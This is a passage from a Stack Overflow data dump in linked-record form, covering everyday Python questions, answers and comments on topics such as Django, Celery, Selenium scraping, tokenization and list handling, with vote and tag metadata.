list_xx.append(entry_xx1) #print(list_xy) names = list_xy + list_xx print("This is the list \'names\'. This is the combined list of all names."+'\n'+str(names)) print("This is the list \'test_boys\'. This is the post-stripping list of boy names."+'\n'+str(test_boys)) print("This is the list \'test_girls\'. This is the post-stripping list of girl names."+'\n'+str(test_girls)) if Name1 in …
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47048671
tagged with: python

http://stackoverflow.com/q/47026332
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80999858
duplicate of: http://stackoverflow.com/q/1167398
score: 1
has answer: http://stackoverflow.com/a/47026352
tagged with: python
has title: Using Variables to call attributes of a class
tagged with: class
has body: I'm still a bit new to python, I'm trying to use a variable to call a a specific attribute of a class. However, I think I might be missing something. I've included an example below. Thank you for your help! class character(object): def __init__(self, name, name1, name2): self.name = name self.name1 = name1 self.name2= name2 bob = character('bob', 'bob1', 'bob2') def print_name(var1, var2): print(var1.var2) print_name(bob, 'name1')
downvote count: 0
upvote count: 1
tagged with: function
type: UnansweredQuestion
answer count: 1
tagged with: variables
linked to: http://stackoverflow.com/q/1167398

http://stackoverflow.com/a/46980830
answers question: http://stackoverflow.com/q/46979567
type: AcceptedAnswer
has body: I wonder if this works import psutil proc_iter = psutil.process_iter(attrs=["pid", "name", "cmdline"]) other_script_running = any("otherscript.py" in p.info["cmdline"] for p in proc_iter)
accepted answer of: http://stackoverflow.com/q/46979567
downvote count: 0
type: Answer
score: 6
upvote count: 6

http://stackoverflow.com/q/46972630
tagged with: out-of-memory
has body: I am writing a demonstration of for loops that outputs all the possible colours in the RGB spectrum. The intention is that will help students understand how for loops work. import csv print("Started") for_max = 256 with open('spectrum.csv', 'w', newline='') as csvfile: writer = csv.writer(csvfile) spectrum = [] head = ["R", "G", "B", "Hex"] spectrum.append(head) for r in range(0, for_max): for g in range(0, for_max): for b in range(0, for_max): r_hex = format(r, '02x') g_hex = format(g, '02x') b_hex = format(b, '02x') hex_string = str("#") + str(r_hex) + str(g_hex) + str(b_hex) spectrum.append([format(r, '03'), format(g, '03'), format(b, '03'), hex_string]) writer.writerows(spectrum) print("Finished") Unfortunately, I am currently getting a memory overflow. Traceback (most recent call last): File "C:/[...]/rgb_for.py", line 31, in MemoryError I have checked that the final list is smaller than the Python list maximum and indeed it is. What, therefore, could be causing this?
tagged with: python
has title: Why is Python throwing a memory exception on a triple nested for?
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/46972631
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46972631
tagged with: for-loop

http://stackoverflow.com/comment/80807607
comment on: http://stackoverflow.com/a/46928174
type: AnswerComment
has text: The way I have mentioned won't need you do make these workarounds. You'll have a proper dataframe with results in place, a column with products labelled as numbers, 12 columns in which every row would have a 1 for the product and 0 for all other products, plus your original product names. You can even drop the label encoded column if you like.
score: 0
type: Comment

http://stackoverflow.com/comment/81074763
comment on: http://stackoverflow.com/q/47062622
has text: That stuff with while/break is nonsense. Checking if the email ends with gmail.com is *validation*, and belongs in a `clean_email()` method on SignupForm.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81099548
score: 0
has text: So I create a custom middleware class where I put your functions: `class IgnoreDomain(object):`. In my spider file, in the spider class, I define `counter = {}`. The error occurs ` if domain not in counter: NameError: global name 'counter' is not defined`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47068068

http://stackoverflow.com/comment/89877601
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46971769
score: 0
has text: @FredGuth I have moved on from trying to select characters. We are using a deep learning approach. That lets us skip a lot of these preprocessing steps.

http://stackoverflow.com/comment/81005460
comment on: http://stackoverflow.com/q/47022258
type: Comment
type: QuestionComment
has text: @scharette In "app\templates\admin" i've overwrite all template file
score: 0

http://stackoverflow.com/comment/81041466
comment on: http://stackoverflow.com/a/47046711
has text: Ok, one faulty datafile that does not have the seconds, which is why it is read in a different format. Now it should work. Thanks!
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47994462
has comment: http://stackoverflow.com/comment/82982650
has comment: http://stackoverflow.com/comment/83002798
type: Answer
answers question: http://stackoverflow.com/q/46996782
upvote count: 4
accepted answer of: http://stackoverflow.com/q/46996782
type: AcceptedAnswer
has body: This cycles through all the matches from each league 1 by 1, collecting all the relevant data as needed. You can collect further data within each match by prefixing each query with . and selecting a match via match.find_element_by_xpath('.//your-query-here'). Let me know if this did the trick! import sys, io, os, csv, requests, time from selenium.webdriver.support.ui import WebDriverWait as wait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException from selenium import webdriver driver = webdriver.Chrome() driver.set_window_size(1024, 600) driver.maximize_window() try: os.remove('vtg121.csv') except OSError: pass driver.get('https://www.unibet.com.au/betting#filter/football') time.sleep(1) clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, ('//div[@class="KambiBC-collapsible-container '\ 'KambiBC-mod-event-group-container"]')))) time.sleep(0) xp_opened = '//div[contains(@class, "KambiBC-expanded")]' xp_unopened = '//div[@class="KambiBC-collapsible-container ' \ 'KambiBC-mod-event-group-container" ' \ 'and not(contains(@class, "KambiBC-expanded"))]' opened = driver.find_elements_by_xpath(xp_opened) unopened = driver.find_elements_by_xpath(xp_unopened) data = [] for league in opened: xp_matches = './/li[contains(@class,"KambiBC-event-item")]' matches = league.find_elements_by_xpath(xp_matches) try: # League Name xp_ln = './/span[@class="KambiBC-mod-event-group-header__main-title"]' ln = league.find_element_by_xpath(xp_ln).text.strip() except: ln = None print(ln) for match in matches: # get all the data per 'match group' xp_team1_name = './/button[@class="KambiBC-mod-outcome"][1]//' \ 'span[@class="KambiBC-mod-outcome__label"]' xp_team1_odds = './/button[@class="KambiBC-mod-outcome"][1]//' \ 'span[@class="KambiBC-mod-outcome__odds"]' xp_team2_name = './/button[@class="KambiBC-mod-outcome"][3]//' \ 'span[@class="KambiBC-mod-outcome__label"]'…
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/82964306

http://stackoverflow.com/a/50478429
downvote count: 0
has body: According to Spacy, tokenization for Japanese language using spacy is still in alpha phase. The ideal way for tokenization is to provide tokenized word list with information pertaining to language structure also. For example, for a english language sentence, you can try this import spacy nlp = spacy.load("en") # execute "python -m spacy download en" before this on standard console sentence = "Writing some answer on stackoverflow, as an example for spacy language model" print(["::".join((word.orth_, word.pos_)) for word in nlp(sentence)]) ## &lt;OUTPUT&gt; ## ['Writing::VERB', 'some::DET', 'answer::NOUN', 'on::ADP', 'stackoverflow::NOUN', ',::PUNCT', 'as::ADP', 'an::DET', 'example::NOUN', 'for::ADP', 'spacy::ADJ', 'language::NOUN', 'model::NOUN'] Such results are currently not available for Japanese Language. If you use python -m spacy download xx and use nlp = spacy.load("xx"), it tries best to understand named entities Also if you look at the source for spacy at here, you will see that tokenization is available, but it brings forth only a make_doc function, which is quite naive. Note: The pip version of spacy is still old code, the above link for github still has a bit to latest code. So for building a tokenization, it is highly suggested as of now to use janome An example for this is given below from janome.tokenizer import Tokenizer as janome_tokenizer sentence = "日本人のものと見られる、延べ２億件のメールアドレスとパスワードが闇サイトで販売されていたことがわかりました。過去に漏えいしたデータを集めたものと見られ、調査に当たったセキュリティー企業は、日本を狙ったサイバー攻撃のきっかけになるおそれがあるとして注意を呼びかけています。" token_object = janome_tokenizer() [x.surface for x in token_object.tokenize(sentence)] ## &lt;OUTPUT&gt; ## ## ['日本人', 'の', 'もの', 'と', '見', 'られる', '、', '延べ', '２', '億', '件', 'の', 'メールアドレス', 'と', 'パスワード', 'が', '闇', 'サイト', 'で', '販売', 'さ', 'れ', 'て', 'い', 'た', 'こと', 'が', 'わかり', 'まし', 'た', '。', '過去', 'に', '漏えい', 'し', 'た', 'データ', 'を', '集め', 'た', 'もの', 'と', '見', 'られ', '、', '調査', 'に', '当たっ', 'た', 'セキュリティー', '企業', 'は', '、', '日本', 'を', '狙っ', 'た', 'サイバー', '攻撃', 'の', 'きっかけ', 'に', '…
type: Answer
answers question: http://stackoverflow.com/q/47053698
score: 4
upvote count: 4

http://stackoverflow.com/q/46998259
has answer: http://stackoverflow.com/a/46998317
answer count: 1
tagged with: range
tagged with: python
has comment: http://stackoverflow.com/comment/80943185
has comment: http://stackoverflow.com/comment/80944246
has comment: http://stackoverflow.com/comment/80943226
tagged with: http://stackoverflow.com/tag/csv
score: 0
has title: Generate list of numbers
tagged with: xrange
type: Question
has body: Hi I want to Generate list of numbers from 1000000 to 2000000 but the problem is that I get an error memory error I was using random everything was good only I get dublcated number and I cant have duplcated number so i switched to xrange data = [] total = 2000000 def resource_file(info): with open(info, "r") as data_file: reader = csv_reader(data_file, delimiter=",") for row in reader: try: for i in xrange(1000000,total): new_row = [row[0], row[1], i] data.append(new_row) except IndexError as error: print(error) with open(work_dir + "new_data.csv", "w") as new_data: writer = csv_writer(new_data, delimiter=",") for new_row in data: writer.writerow(new_row)
type: UnansweredQuestion

http://stackoverflow.com/q/46924772
has comment: http://stackoverflow.com/comment/80796877
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/46925130
has title: Django: access list of models belong of admin from admin console
has body: I am sure this question has been asked before but I have not found anything regarding admin console. The database relationship is as follows: Host can have multiple students but a student has only one host (one-to-many or many-to-one depends on how we look at the problem). Below is my model setup: from django.db import models # Create your models here. class Student(models.Model): host = models.ForeignKey("Host", blank=True, null=True) fullname = models.CharField(max_length=255, blank=True, null=True) major = models.CharField(max_length=255, blank=True, null=True) email = models.CharField(max_length=255, blank=True, null=True) phone = models.CharField(max_length=255, blank=True, null=True) country = models.CharField(max_length=255, blank=True, null=True) interests = models.CharField(max_length=255, blank=True, null=True) date = models.CharField(max_length=255, blank=True, null=True) attendance = models.IntegerField(blank=True, null=True) university = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = True db_table = 'student' class Host(models.Model): host_id = models.AutoField(primary_key=True) fullname = models.CharField(max_length=255, blank=True, null=True) email = models.CharField(max_length=255, blank=True, null=True) phone = models.CharField(max_length=255, blank=True, null=True) address = models.CharField(max_length=255, blank=True, null=True) max_guests = models.IntegerField(default=5, blank=True, null=True) preference = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = True db_table = 'person' I can access host of a student by using .host (e.g. Student.objects.first().host) and also from a dropdown in django admin console. I can also access a list of students of a particular host like this: list_of_students_of_first_host = Student.objects.filter(host_id=Host.objects.first().host_id) But I cannot see from admin console list of students of a particular host. How to accomplish this if it is even possible.…
type: Question
accepted answer: http://stackoverflow.com/a/46925130

http://stackoverflow.com/comment/80820621
has text: Could you show a (simplified) example of your file?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46933995

http://stackoverflow.com/a/47005274
accepted answer of: http://stackoverflow.com/q/47005179
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47005179
has comment: http://stackoverflow.com/comment/80957271
has body: You need to indent the if statement and all the following lines to make it work, otherwise only the last row is tested. for row in rows: print(row) if usernameinput in row: print("Username Taken") Also you could make it simpler : # select only the field "username" from the table c.execute("SELECT username FROM stuffToPlot") # build a set with all names, from the results given as [('name1',), ('name2',), ('name3',)] names = {name[0] for name in c.fetchall()} if usernameinput in names: print("Username Taken") username() else: if limit &lt; 1:
has comment: http://stackoverflow.com/comment/80957322
type: Answer
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/80957355

http://stackoverflow.com/q/47050862
score: 0
tagged with: api
has answer: http://stackoverflow.com/a/47050912
answer count: 1
type: Question
has title: Twitter Crawler on Python
type: UnansweredQuestion
tagged with: python
tagged with: twitter
has body: I'm trying to gather tweets data from twitter using python. This is my code. #API consumer_key = "API key" consumer_secret = "Secret key" auth = tweepy.OAuthHandler(consumer_key, consumer_secret) #Access Token access_token = "Access Token" access_token_secret = "Access Token Secret" auth.set_access_token(access_token, access_token_secret) #Twitter API api= tweepy.API(auth) location = "%s,%s,%s" % ("35.95","128.25","1000km") keyword = "" wfile = open(os.getcwd()+"/twitter.txt",mode='w') cursor = tweepy.Cursor(api.search, q=keyword, since='2015-01-01', count=100, geocode=location, include_entities=True) for i,tweet in enumerate(cursor.items()): print("{}:{}".format(i,tweet.text)) wfile.wrtie(tweet.text+'\n') wfile.close() Question 1. In this case, the tweets are from '2015-01-01', but is it possible to assign date like '2015-01-01 ~ 2015-12-31' ? Question 2. Counts are 100 which means it will gather 100 tweets from 2015-01-01. but is there any specific gathering method I can give? Such as 100 random tweets regardless of chronological orders or 100 tweets from 2015-01-01 that have been re-tweeted most Question 3. In this code, tweets and tags are only things I can know. Is there way to find out location information of tweets? Latitude and longitude of where it has been uploaded? Question 4. How can I get only the hashtags? not the whole tweets Thank you very much
tagged with: web-crawler

http://stackoverflow.com/comment/80888296
has text: N-Triples is the most obvious format for splitting as each line denotes a single triple, thus, it can be split easily. Other formats do have to be parsed and probably kept into memory to ensure completeness. E.g. Turtle can span several lines and RDF/XML is even more complicated. IF you want to split, please use N-Triples.
type: QuestionComment
comment on: http://stackoverflow.com/q/46955734
score: 1
type: Comment

http://stackoverflow.com/comment/80900401
score: 0
comment on: http://stackoverflow.com/q/46971774
type: Comment
type: QuestionComment
has text: @darthbith sure I understand this, just didn't recognize the situation since I didn't knew how should it work normally

http://stackoverflow.com/comment/80889012
type: Comment
type: QuestionComment
has text: Yes my frist reaction was that although it may seem "pythonic" to make that encryption a 1-liner, its not easy to understand, which makes it then not "pythonic".
comment on: http://stackoverflow.com/q/46970750
score: 1

http://stackoverflow.com/comment/80843720
comment on: http://stackoverflow.com/a/46946550
has text: Thank you for your answer. I tried to run your code but it also return an empty result.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80972378
type: Comment
comment on: http://stackoverflow.com/a/46960910
score: 0
type: AnswerComment
has text: The error is `Error: (psycopg2.IntegrityError) duplicate key value violates unique constraint "customers_pkey" DETAIL: Key (id)=(\x50652b2f72b2f76`)

http://stackoverflow.com/comment/80870225
type: QuestionComment
comment on: http://stackoverflow.com/q/46961283
score: 0
has text: In tuple expansion, all values on the right-hand side are evaulated *before* assigning on the left hand side. So `n % m` is evaluated before `m` is assigned to `n`.
type: Comment

http://stackoverflow.com/a/47003312
type: Answer
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47001963
has body: Problem solved by setting a folder structure as follows: /etc/ansible/combined - hosts (the original file static+dynamic hosts file) - ec2.py - ec2.ini Then, altering the inventory setting in ansible.cfg: ... inventory = /etc/ansible/combined ... Thanks to @KonstantinSuvorov for helping out with that!
answers question: http://stackoverflow.com/q/47001963

http://stackoverflow.com/comment/80787692
comment on: http://stackoverflow.com/q/46920002
score: 0
type: Comment
type: QuestionComment
has text: Dictionaries, especially in Python 2, are unordered. There is nothing like a previous item.

http://stackoverflow.com/comment/80820585
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46936508
type: Comment
has text: Yes, but if i run it multiple time it does regardless. So i need a way to add the data without it adding another set of headers and appending the data on a second attempt.

http://stackoverflow.com/comment/80892485
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46972278
has text: I don't understand what you're trying to count. Can you explain a bit more what the "Calls" number you want means? It might help if you could tweak your data so that the values are not all ones.
score: 0

http://stackoverflow.com/a/46953206
has comment: http://stackoverflow.com/comment/80853541
has body: From https://matplotlib.org/devdocs/api/_as_gen/matplotlib.pyplot.suptitle.html: Add a centered title to the figure. kwargs are matplotlib.text.Text properties. Using figure coordinates, the defaults are: x : 0.5 The x location of the text in figure coords y : 0.98 The y location of the text in figure coords You can move the position of the suptitle in figure coordinates by choosing different values for x and y. For example, plt.suptitle(country, x=0.1, y=.95, horizontalalignment='left', verticalalignment='top', fontsize = 15) will put the suptitle in the upper left corner. The keywords horizontalalignment and verticalalignment work a bit different ( see e.g. https://matplotlib.org/users/text_props.html): horizontalalignment controls whether the x positional argument for the text indicates the left, center or right side of the text bounding box. verticalalignment controls whether the y positional argument for the text indicates the bottom, center or top side of the text bounding box.
has comment: http://stackoverflow.com/comment/80853456
downvote count: 0
type: AcceptedAnswer
score: 19
answers question: http://stackoverflow.com/q/46952947
has comment: http://stackoverflow.com/comment/91093044
type: Answer
accepted answer of: http://stackoverflow.com/q/46952947
upvote count: 19

http://stackoverflow.com/a/47034640
score: 0
answers question: http://stackoverflow.com/q/47034420
has body: There are many things wrong, here is my code: Integer1=int(input("Please enter a Integer:")) Integer2=int(input("Please enter a Second Integer:")) Integer3=int(input("Please enter a Third Integer:")) Integer4=int(input("Please enter a Fourth Integer:")) Integer5=int(input("Please enter a Fifth Integer:")) Number= [Integer1,Integer2,Integer3,Integer4,Integer5] Number.reverse() print(Number) first, your loops to collect numbers are useless. You are collecting only one number anyway. The collection of numbers could be done in a loop, I just wanted to use your format, and your text. Then to declare a list, use []. To reverse the list the syntax is LIST.reverse(). LIST is to be replaced by the list you want to reverse. I suggest you read up on phyton, there are many sites with beginner information to get you started.
type: Answer

http://stackoverflow.com/q/46976009
tagged with: celery
type: Question
has comment: http://stackoverflow.com/comment/80901439
linked to: http://stackoverflow.com/q/25576890
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80900003
tagged with: python
has body: In Celery, I want to start a task only when all the other tasks have completed. I found some resources like this one : Celery Starting a Task when Other Tasks have Completed and Running a task after all tasks have been completed But I am quite new to celery and could not really understand the above (or many other resources for that matter). So I have defined a task as so in a tasks.py: @celapp.task() def sampleFun(arg1, arg2, arg3): # do something here and I call it as this : for x in xrange(4): tasks.sampleFun.delay(val1, val2, val3) And I assume that there would be 4 different tasks created. This actually happens as I can see the same on the web interface of Celery Flower. Now what I would like to do is, have another task added. Say finalTask that should start only once all the above 4 tasks have completed their execution. I also read some doc on groups and chords in Celery but it says that if I want to do it I need to group my tasks together so they get executed in parallel. I don't want to do that. (Might be a good idea, but right now my goal is to be able to understand things. So am not really focussed on performance etc. at this point in time) How to do this? Another more basic question which might sound rather stupid is : When we say tasks.sampleFun.delay does it create asynchronous tasks or not ?
score: 0
has comment: http://stackoverflow.com/comment/80900915
tagged with: celery-task
has title: How to start a task only when all other tasks have finished in Celery
linked to: http://stackoverflow.com/q/16308849
answer count: 0
has comment: http://stackoverflow.com/comment/80901257

http://stackoverflow.com/comment/80841798
score: 0
comment on: http://stackoverflow.com/q/46947138
has text: Yes , maybe the apply_async will work
type: QuestionComment
type: Comment

http://stackoverflow.com/a/46959052
type: Answer
has comment: http://stackoverflow.com/comment/80878478
score: 0
has body: A set has unique elements, meaning no duplicates. So if you have a duplicate, the length of your set(list) will be different than the list. if len(mylist) != len(set(mylist)): return True return False
answers question: http://stackoverflow.com/q/46958999
has comment: http://stackoverflow.com/comment/80866976
has comment: http://stackoverflow.com/comment/80876206
has comment: http://stackoverflow.com/comment/80866329

http://stackoverflow.com/a/47018142
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47018068
answers question: http://stackoverflow.com/q/47018068
type: AcceptedAnswer
has body: Your code can be improved a lot but I am just making the least changes to make it work so that you understand the error: data=[ ] for i in range (1,size): in_size=len(b[i]) temp_li = [] for j in range (0,in_size): temp_li.append(b[i][j]) data.append(temp_li)

http://stackoverflow.com/comment/80859214
type: Comment
type: AnswerComment
has text: Thanks I got it.made some typo mistakes in video id.
score: 0
comment on: http://stackoverflow.com/a/46954951

http://stackoverflow.com/q/46919462
has title: Using Tensorflow in a low-latency high-throughput kinda way
tagged with: gpgpu
upvote count: 4
score: 4
answer count: 0
downvote count: 0
tagged with: neural-network
tagged with: tensorflow
favorite count: 0
has body: Processed data is real-time video (a bunch of sequential frames) and it all needs to end up in a DX12 buffer. I don't care too much if data gets copied to system memory during training, but during evaluation, it must stay on GPU. I would train the network separately in python with high latency being allowed but then after it is trained, I would use it entirely on the GPU (because my frames are already there). From my standpoint (experienced with GPGPU programming but not so much with Tensorflow) there are two ways of doing this: Extracting the parameters from the trained model in python (weights and biases) and uploading them to the c++ program that has the same network topology on the GPU and running it there. It should behave like a Tensorflow network it was trained on. Using Tensorlow in the c++ program as well and just passing the buffer handles for input and output (the way you would do with GPGPU) and then interop-ing with DX12 (because I need the evaluations to end up here). Would like to know if any of those options are possible and if so, which one is better and why? If I left anything unclear, let me know in the comments.
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: directx-12

http://stackoverflow.com/comment/81050873
comment on: http://stackoverflow.com/a/47051770
type: AnswerComment
has text: Nevermind my previous error. Somehow I have to do it like this in Python 3. `res= [s.translate(str.maketrans('','',string.punctuation)) for s in textList]`
score: 0
type: Comment

http://stackoverflow.com/q/46979682
tagged with: python-3.x
upvote count: 0
type: UnansweredQuestion
downvote count: 5
tagged with: python
has comment: http://stackoverflow.com/comment/80911615
has comment: http://stackoverflow.com/comment/80906914
has comment: http://stackoverflow.com/comment/80915220
tagged with: python-2.7
score: -5
has comment: http://stackoverflow.com/comment/80913182
has body: How can I convert a string into a hex? I have this text from a .csv \\302\\247\\303\\277\\001\\036\\303\\211\\000n\\ and I want to convert to something like 0x394839F My first attempt was use bytearray but don't work
has title: String to hex base 16 in python 3
answer count: 1
has comment: http://stackoverflow.com/comment/80906787
has answer: http://stackoverflow.com/a/46980011
favorite count: 0
type: Question

http://stackoverflow.com/comment/80895463
has text: I know this is not a perfect solution but, If it's only to check the accuracy and the algorithm, you can always do it in the above way.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46972127
type: Comment

http://stackoverflow.com/a/47017999
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80983748
has body: EDIT: mainly I need this to modify the list. E.g. a[*non-linear-slicing*] = [*list-with-new-values*] Great. Then we can use that list of new values to drive this thing. Demo: &gt;&gt;&gt; a = range(17) &gt;&gt;&gt; newvals = ['foo', 'bar', 'baz', 'qux'] &gt;&gt;&gt; for i, val in enumerate(newvals): a[2**i] = val &gt;&gt;&gt; a [0, 'foo', 'bar', 3, 'baz', 5, 6, 7, 'qux', 9, 10, 11, 12, 13, 14, 15, 16] Or if you also have the indexes in a list already, then use zip instead of enumerate: &gt;&gt;&gt; a = range(17) &gt;&gt;&gt; indexes = [1, 2, 4, 8] &gt;&gt;&gt; newvals = ['foo', 'bar', 'baz', 'qux'] &gt;&gt;&gt; for i, val in zip(indexes, newvals): a[i] = val &gt;&gt;&gt; a [0, 'foo', 'bar', 3, 'baz', 5, 6, 7, 'qux', 9, 10, 11, 12, 13, 14, 15, 16] And since you just mentioned coming from R, maybe you want to use NumPy, which does support such indexing: &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; a = np.arange(13) &gt;&gt;&gt; a[[1, 2, 4, 8]] = [111, 222, 444, 888] &gt;&gt;&gt; a array([ 0, 111, 222, 3, 444, 5, 6, 7, 888, 9, 10, 11, 12])
accepted answer of: http://stackoverflow.com/q/47012837
type: Answer
has comment: http://stackoverflow.com/comment/80984659
answers question: http://stackoverflow.com/q/47012837
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/a/47027344
answers question: http://stackoverflow.com/q/47026900
score: 2
downvote count: 0
has body: Since you use Cython, the numpy APIs have been included in the Cython Includes already. It's straight forward in jupyter notebook. cimport numpy as np from numpy cimport PyArray_Check np.import_array() # Attention! def parse_ndarray(object ndarr): if PyArray_Check(ndarr): print("PyArray_Check Passed") else: print("PyArray_Check Failed") I believe np.import_array() is a key here, since you call into the numpy APIs. Comment it and try, a crash also appears. import numpy as np from array import array ndarr = np.arange(3) pyarr = array('i', range(3)) parse_ndarray(ndarr) parse_ndarray(pyarr) parse_ndarray("Trick or treat!") Output: PyArray_Check Passed PyArray_Check Failed PyArray_Check Failed
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/81002073

http://stackoverflow.com/comment/80956610
has text: @thaeslocrauo: what is your python version? it's important.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47004722

http://stackoverflow.com/comment/80820826
type: Comment
has text: Can you also provide an input with every field in it? Like `'Vin', 'Model Code', 'Colour', 'Chassis', 'Starting Location', 'Owning Organization', 'Final Organization'`. I need to see how they are given in the input file
type: QuestionComment
comment on: http://stackoverflow.com/q/46935283
score: 0

http://stackoverflow.com/comment/80940874
score: 0
has text: Can you post the error message you get?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46996927

http://stackoverflow.com/q/46975180
has body: I have an output string like this: read : io=131220KB, bw=14016KB/s, iops=3504, runt= 9362msec And I want to just extract one of the numerical values for computation, say iops. I'm processing it like this: if 'read ' in key: my_read_iops = value.split(",")[2].split("=")[1] result['test_details']['read'] = my_read_iops But there are slight inconsistencies with some of the strings I'm reading in and my code is getting super complicated and verbose. So instead of manually counting the number of commas vs "=" chars, what's a better way to handle this?
accepted answer: http://stackoverflow.com/a/46975962
tagged with: string
has answer: http://stackoverflow.com/a/46975962
tagged with: parsing
type: Question
has title: What's a better way to process inconsistently structured strings?
has comment: http://stackoverflow.com/comment/80898080
has comment: http://stackoverflow.com/comment/103274657
has answer: http://stackoverflow.com/a/46975780
has answer: http://stackoverflow.com/a/46975631
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/46975780

http://stackoverflow.com/a/47026009
has comment: http://stackoverflow.com/comment/80999249
answers question: http://stackoverflow.com/q/47025988
type: Answer
has body: enumerate() returns a list of indexes and values. Observe: &gt;&gt;&gt; L = ['hi', 'hello', 'hey'] &gt;&gt;&gt; list(enumerate(L)) [(0, 'hi'), (1, 'hello'), (2, 'hey')] You'll need to modify your code to reflect this by having two variables in your for loop: for index, val in enumerate(self.channel): if index &gt; self.channels_Index: new_channel = val
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80999225
accepted answer of: http://stackoverflow.com/q/47025988

http://stackoverflow.com/comment/81069668
comment on: http://stackoverflow.com/q/47059477
has text: As hinted in the answer from @Jared, you probably should talk to someone knowledgeable about the machine in question to find out what function to use for your calculation of "closeness". It could be that the OD is far more important than the ID, or vice versa, depending on the operation that the machine is performing.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47032947
has answer: http://stackoverflow.com/a/47033418
has title: How to use Github API v3 to create Pull Request reviews?
accepted answer: http://stackoverflow.com/a/47033418
tagged with: post
tagged with: curl
type: Question
tagged with: github-api
answer count: 2
has body: On the Github API v3 docs, there is an article on how to create a pull request review using the API. There is this line : POST /repos/:owner/:repo/pulls/:number/requested_reviewers Can someone explain me with an example as what to do with this? A curl command would have been more preferrable. What I can guess is that its some format for the POST message, but how to fire the POST call? Any help with any example will be appreciated. EDIT Figured out a way myself, but would love to see some Pythonic way as well, if possible.
has answer: http://stackoverflow.com/a/50008674
tagged with: python
possible better answer: http://stackoverflow.com/a/50008674
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/80852045
comment on: http://stackoverflow.com/q/46942336
type: Comment
has text: The files are just line of words separated by white space: or assez assidu assign assissin assist assistanceÃ assiz associ associationÃ assoupi assuag assum assumpt assur asta astano astir astonish astor astound astut asund asylum athen athenaeum athenaum athenÃ athlet athlÃ atkinson atlant atlanticÃ atlas atom aton atroc atroci atrocityÃ attach attack attah attain atteignai atteignait attemp attempt attemptÃ attend attendanceth attent attentionÃ atterÃ attest attila
score: 0
type: QuestionComment

http://stackoverflow.com/q/46949774
answer count: 1
has comment: http://stackoverflow.com/comment/80847119
accepted answer: http://stackoverflow.com/a/46950005
type: Question
has answer: http://stackoverflow.com/a/46950005
has comment: http://stackoverflow.com/comment/80848607
tagged with: django
has body: When I want to test value in my template I get the error: Could not parse the remainder '=="0" How can I test a value in template? {%for eb in ebau %} {% if eb.0=="0" %} {% else %} {% endif %} {{eb.0}} {{eb.2}} {{eb.3}} {{eb.4}} {% endfor %} Thanks.
tagged with: python
tagged with: templates
has title: test value in template
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/46958721
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/80866632
has comment: http://stackoverflow.com/comment/80866664
favorite count: 0
accepted answer: http://stackoverflow.com/a/46959553
has comment: http://stackoverflow.com/comment/80864935
has answer: http://stackoverflow.com/a/46959553
type: Question
linked to: http://stackoverflow.com/q/23498394
tagged with: python
has title: How to remove element node but keep its childs in a XML file using Python?
has body: I'm a bit new to Python and to the XML world. I desperately need your help, I'm running out of time to finish this project! Basically I have a xml file that I need to elaborate before importing it into Excel. My XML is structured as follows (very small extract): &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;Application&gt; &lt;first/&gt; &lt;second&gt; &lt;third/&gt; &lt;third/&gt; &lt;third/&gt; &lt;/second&gt; &lt;/Application&gt; What I need to do is to parse the xml file (elementtree or lxml) and to eliminate &lt;first/&gt; and &lt;second/&gt;, in order to get something like this: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;Application&gt; &lt;third/&gt; &lt;third/&gt; &lt;third/&gt; &lt;/Application&gt; I have already read and tried basically all the related questions I could find, but all I managed to achieve was to eliminate the whole &lt;first/&gt; element. I'm using Python 3.6.2, standard libraries are preferred (lxml, elementtree). Thanks in advance for any help you can give!
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/80866173
has comment: http://stackoverflow.com/comment/80866464

http://stackoverflow.com/comment/81012822
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47033180
has text: Maybe it is using python 2.x rather than 3.6

http://stackoverflow.com/a/46964386
